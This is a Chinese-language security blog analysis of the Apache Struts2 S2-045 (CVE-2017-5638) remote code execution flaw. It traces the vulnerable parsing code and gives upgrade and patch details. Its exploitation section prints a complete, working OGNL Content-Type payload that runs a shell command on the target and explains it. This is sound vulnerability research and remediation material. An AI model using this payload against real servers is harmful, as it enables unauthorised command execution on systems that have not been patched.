apache struts2
首页
文章
漏洞
SRC导航
内容精选
输入关键词搜索
APP 登录| 注册
【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析
阅读量 100771 | 稿费 300
分享到: QQ空间 新浪微博 微信 QQ facebook twitter
发布时间:2017-03-13 12:12:18
作者:xiaodingdang
预估稿费:300RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
传送门
【漏洞分析】Struts2-045分析(CVE-2017-5638)
【漏洞分析】S2-045 原理初步分析(CVE-2017-5638)
【重大漏洞预警】Struts 2 远程代码执行漏洞(CVE-2017-5638)(含PoC)
0x00 前言
本文主要是对Apache Struts2(S2-045)漏洞进行原理分析。
Apache Struts2使用的Jakarta Multipart parser插件存在远程代码执行漏洞。可以通过构造Content-Type值进行触发漏洞,造成远程执行代码。影响Struts2版本 Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10
0x01 漏洞公布
大概是北京时间2017年3月6号晚上10点apache发布了S2-045预警公告
详情:https://cwiki.apache.org/confluence/display/WW/S2-045
随后能够得到补丁信息:
https://github.com/apache/struts/commit/6b8272ce47160036ed120a48345d9aa884477228
通过apache漏洞公告和补丁信息,可以得到:
1.漏洞发生在 Jakarta 上传解析器
2.受影响struts版本是Struts 2.3.5 – Struts 2.3.31, Struts 2.5 – Struts 2.5.10
3.通过Content-Type这个header头,进而执行命令,通过Strus2对错误消息处理进行回显。
0x02 漏洞分析
Struts2默认处理multipart报文的解析器是jakarta
JakartaMultiPartRequest.java 的buildErrorMessage函数中localizedTextUtil.findText会执行OGNL表达式,从而导致命令执行
https://p3.ssl.qhimg.com/t01cb905b2deac0bd27.png
那么总的流程是什么呢?
首先会在执行请求前做一些准备工作在PrepareOpertions.java中,包括通过wrapRequest的封装请求。
https://p0.ssl.qhimg.com/t015a8b450f47668204.png
随后对Content-Type头部进行判断,当存在"multipart/form-data"的时候,会通过mpr,给每个请求返回一个新的实例,保证线程安全,同时交给MultipartRequest类处理
https://p1.ssl.qhimg.com/t0111e5a9d753d1a75f.png
通过getSaveDir(),来获取保存上传路径
https://p3.ssl.qhimg.com/t01cc8add7aec194b0a.png
MultiPartRequestWrapper类通过获取如下参数,来对收集错误信息,文件信息和默认的本地配置进行封装返回。
https://p0.ssl.qhimg.com/t01d401e72aa15efd0d.png
漏洞发生在MultiPartRequestWrapper会通过调用JakartaMultiPartRequest.java的parse进行解析请求
https://p4.ssl.qhimg.com/t01adcef6b98f0b66f7.png
parse函数又会调用buildErrotMessage()方法
https://p1.ssl.qhimg.com/t0102af2252f9273515.png
而buildErrorMessage()方法又调用了LocalizedTextUtil的findText方法,导致了ONGL的执行。
https://p2.ssl.qhimg.com/t01efcdd3138d9ede50.png
0x03 漏洞利用
通过构造content-Type来实现利用
Content-Type:"%{(#xxx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"pwd"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
xxx='multipart/form-data'主要是让struts程序content_type.contains(“multipart/form- data”)判断为true
#container=#context['com.opensymphony.xwork2.ActionContext.container']
来获取上下文容器
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class
通过容器实例化,对Ognl API的通用访问,设置和获取属性。
#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd })
判断目标主机的操作系统类型,并进行执行命令赋值
#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
执行攻击命令
0x04 漏洞修复
1. 可升级版本到Apache Struts 2.3.32或者Apache struts 2.5.10.1
2.官方补丁
https://github.com/apache/struts/commit/b06dd50af2a3319dd896bf5c2f4972d2b772cf2b
随笔感想:
这么严重的安全事件,在3月7号早上poc和exp就被泄露出来了,可以说给企业留给应急的时间很短,一时间无数人通过搜索引擎去利用s2-045进行利用,根据受影响的站点,政府和学校应该是受影响最大的组织。引用heige话一时间如同蝗虫般侵袭着网站,但是让人欣慰的是国家对于安全问题越来越重视,近几年在安全方面投入的加大,各公司的安全应急做的很快,尤其是互联网公司。基本3月8号晚上基本都完成了对s2-045漏洞的修复。
这里面我觉得有几个方面原因:
1. 国内存在着像补天,漏洞盒子等这样的漏洞收集平台(据说审核人员这次一晚上审核上千个漏洞),对于漏洞通报,快速响应至关重要,最让人眼前一亮的是还在beta测试阶段的教育行业漏洞报告平台(https://src.edu-info.edu.cn/ ),可以说对于学校处理s2-045漏洞发挥了很大的作用。
https://p0.ssl.qhimg.com/t011942b8092558bf68.png
2. 国内对于安全的重视,安全人员的培养,安全行业的宣传,使更多人和大学生接触到了安全行业,这才导致了大量的人员去平台提交漏洞,大部分安全从业者还是懂法,具有道德底线的,知道什么事可以干,什么事不行。
3. 随着国内安全行业的发展,涌现了一批从事安全专业公司包括bat3,不管是安全服务还是安全设备防护等等,极大的提高了企业的安全防护能力和安全意识。
最后,我觉得从这次事件可以看出,国内对于重大安全事件的应急响应能力有了质的飞跃。
传送门
【漏洞分析】Struts2-045分析(CVE-2017-5638)
【漏洞分析】S2-045 原理初步分析(CVE-2017-5638)
【重大漏洞预警】Struts 2 远程代码执行漏洞(CVE-2017-5638)(含PoC)
本文由安全客原创发布
转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/85674
安全客 - 有思想的安全新媒体
安全知识
xiaodingdang 分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
U2F安全协议分析
2018-11-24 10:00:48
二十年重回首——CIH病毒源码分析
2018-11-23 15:20:19
Cookie Maker:隐藏在Google Docs中的恶意网络
2018-11-23 14:30:40
情报分析与研判之图片信息挖掘(1)
2018-11-23 10:00:17
|发表评论
发表你的评论吧
昵称
大表姐
换一个
|评论列表
还没有评论呢,快去抢个沙发吧~
xiaodingdang
这个人太懒了,签名都懒得写一个
文章
1
粉丝
0
TA的文章
【漏洞分析】S2-045:Apache Struts2 远程代码执行(RCE)漏洞分析
2017-03-13 12:12:18
输入关键字搜索内容
相关文章
360 | 数字货币钱包APP安全威胁概况
以太坊智能合约安全入门了解一下(下)
对恶意勒索软件Samsam多个变种的深入分析
360 | 数字货币钱包安全白皮书
Json Web Token历险记
揪出底层的幽灵:深挖寄生灵Ⅱ
简单五步教你如何绕过安全狗
热门推荐
安全客Logo
安全客
安全客
关于我们
加入我们
联系我们
用户协议
商务合作
合作内容
联系方式
友情链接
内容须知
投稿须知
转载须知
合作单位
安全客
安全客
Copyright © 360网络攻防实验室 All Rights Reserved 京ICP备08010314号-66
Loading...0daybank
文章评论